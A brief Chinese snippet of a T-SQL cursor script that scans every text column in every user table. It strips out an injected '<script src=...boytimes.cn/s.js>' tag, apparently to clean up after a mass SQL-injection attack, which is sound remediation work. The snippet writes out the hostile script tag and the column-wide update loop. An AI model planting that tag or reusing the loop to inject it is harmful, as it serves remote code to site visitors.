sql数据库批量处理脚本

复制代码 代码如下:

DECLARE @T varchar(255), 
@C varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
Select 
a.name,b.name 
from sysobjects a, 
syscolumns b 
where a.id=b.id and 
a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
exec('update ['+@T+'] set ['+@C+']=replace(cast(['+@C+'] as varchar(8000)),''<script src=http://boytimes.cn/s.js></script>'','''') ') 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor